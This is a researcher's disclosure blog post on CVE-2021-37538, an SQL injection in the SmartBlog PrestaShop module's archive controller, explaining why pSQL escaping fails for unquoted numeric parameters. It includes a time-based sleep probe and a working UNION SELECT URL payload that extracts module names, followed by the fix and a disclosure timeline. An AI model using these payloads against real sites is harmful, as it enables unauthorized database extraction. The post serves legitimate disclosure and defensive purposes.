Skip to main content

SQLi in SmartBlog CVE-2021-37538

This blog post details an SQLi I found in the SmartBlog Prestashop module by SmartDataSoft.

First we need to talk about how the Prestashop pSQL function works and what it does.
pSQL() is intended for string escaping, so for example if you have a query like:

$sql = "SELECT * FROM myTable WHERE name='$name'"  

If $name has quotes in it then it can break out of the quotes. If $name is james' and sleep(10)-- -

then the query would be:

SELECT * FROM myTable WHERE name='james' and sleep(10)-- -'

If our example was sanitised by pSQL it would be something like:

SELECT * FROM myTable WHERE name='james\' and sleep(10)-- -'

All pSQL() does is escape quotes essentially.

In this module we discovered two SQLis, I will only discuss the archive SQLi in depth as the category SQLi is the same idea but requires a certain setting enabled.

In controllers/front/archive.php we can see that the day, month and year parameters are passed to the getArchiveResult() function without sanitisation.

public function initContent()  
{  
    parent::initContent();  
    $blogcomment = new Blogcomment();  
    $day = Tools::getvalue('day');  
    $year = Tools::getvalue('year');  
    $month = Tools::getvalue('month');  
    $title_category = '';  
    $posts_per_page = Configuration::get('smartpostperpage');  
    $limit_start = 0;  
    $limit = $posts_per_page;  
    if ((boolean) Tools::getValue('page')) {  
        $c = (int) Tools::getValue('page');  
        $limit_start = $posts_per_page * ($c - 1);  
    }  
    $result = SmartBlogPost::getArchiveResult($month, $year, $day, $limit_start, $limit);

If we look at the getArchiveResult function in classes/SmartBlogPost.php we can see they are being used in an SQL query:

public static function getArchiveResult($month = null, $year = null, $day = null, $limit_start = 0, $limit = 5){  
    $BlogCategory = '';  
    $day = pSQL($day);  
    $month = pSQL($month);  
    $year = pSQL($year);  
    $result = array();  
    $id_lang = (int) Context::getContext()->language->id;  
    if ($month != '' and $month != NULL and $year != '' and $year != NULL and $day != '' and $day != NULL) {  
        $sql = 'SELECT * FROM ' . _DB_PREFIX_ . 'smart_blog_post s INNER JOIN ' . _DB_PREFIX_ . 'smart_blog_post_lang sl ON s.id_smart_blog_post = sl.id_smart_blog_post and sl.id_lang = ' . $id_lang . ' INNER JOIN ' . _DB_PREFIX_ . 'smart_blog_post_shop ps ON ps.id_smart_blog_post = s.id_smart_blog_post AND ps.id_shop = ' . (int) Context::getContext()->shop->id . ' where s.active = 1 and DAY(s.created) = ' . $day . ' and MONTH(s.created) = ' . $month . ' AND YEAR(s.created) = ' . $year . ' ORDER BY s.id_smart_blog_post DESC';  
    }
    // skipping a bunch of similar elseif cases
    if (!$posts = Db::getInstance()->executeS($sql))  
        return false;

As we can see the day, month and year values are not surrounded by quotes in the query so the fact that pSQL sanitises these characters is no issue for us as we are already in the query.

In order to test this I installed the plugin locally and used 1 and sleep(10)-- - as an input and modified the source to print out the query and this is what we see:

SELECT * FROM ps_smart_blog_post s INNER JOIN ps_smart_blog_post_lang sl ON
s.id_smart_blog_post = sl.id_smart_blog_post and sl.id_lang = 1 INNER JOIN
ps_smart_blog_post_shop ps ON ps.id_smart_blog_post = s.id_smart_blog_post
AND ps.id_shop = 1 where s.active = 1 and DAY(s.created) = 1 and sleep(10)-- - and MONTH(s.created) = 1 AND YEAR(s.created) = 1 ORDER BY s.id_smart_blog_post
DESC

The SQLi was also confirmed by the page loading time being delayed by 10 seconds.

For demonstration purposes here is a payload that will print out a list of the module names from the database:

https://site.com/module/smartblog/archive?month=1&year=1&day=1
UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
(SELECT group_concat(name) FROM
ps_module),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

When the page is loaded the list of module names will be in the title of the last post. (There is a character length limit for group_contact but you can get all the modules in two requests by flipping how the rows are ordered on the second request).

Fixing the issue

In most of the cases the values being sanitised were numbers therefore casting them to integers was more appropriate than using pSQL. In cases where pSQL was used the values were surrounded with quotes in the query.

As mentioned in the previous post however if you are developing a Prestashop module it is strongly reccomended to utilise PDO for your SQL queries as described in Prestashop’s Best Practices for the DB Class.

I contacted SmartDataSoft and they were quick to fix the issue with this commit.

Timeline

Date Action
22/06/2021 Issue discovered during a pentest
13/07/2021 Reported issue to SmartDataSoft
15/07/2021 SmartDataSoft patched the issue in version 4.06
26/07/2021 Number CVE-2021-37538 assigned
21/08/2021 Blog post released
24/08/2021 pajoda made a Nuclei template for this CVE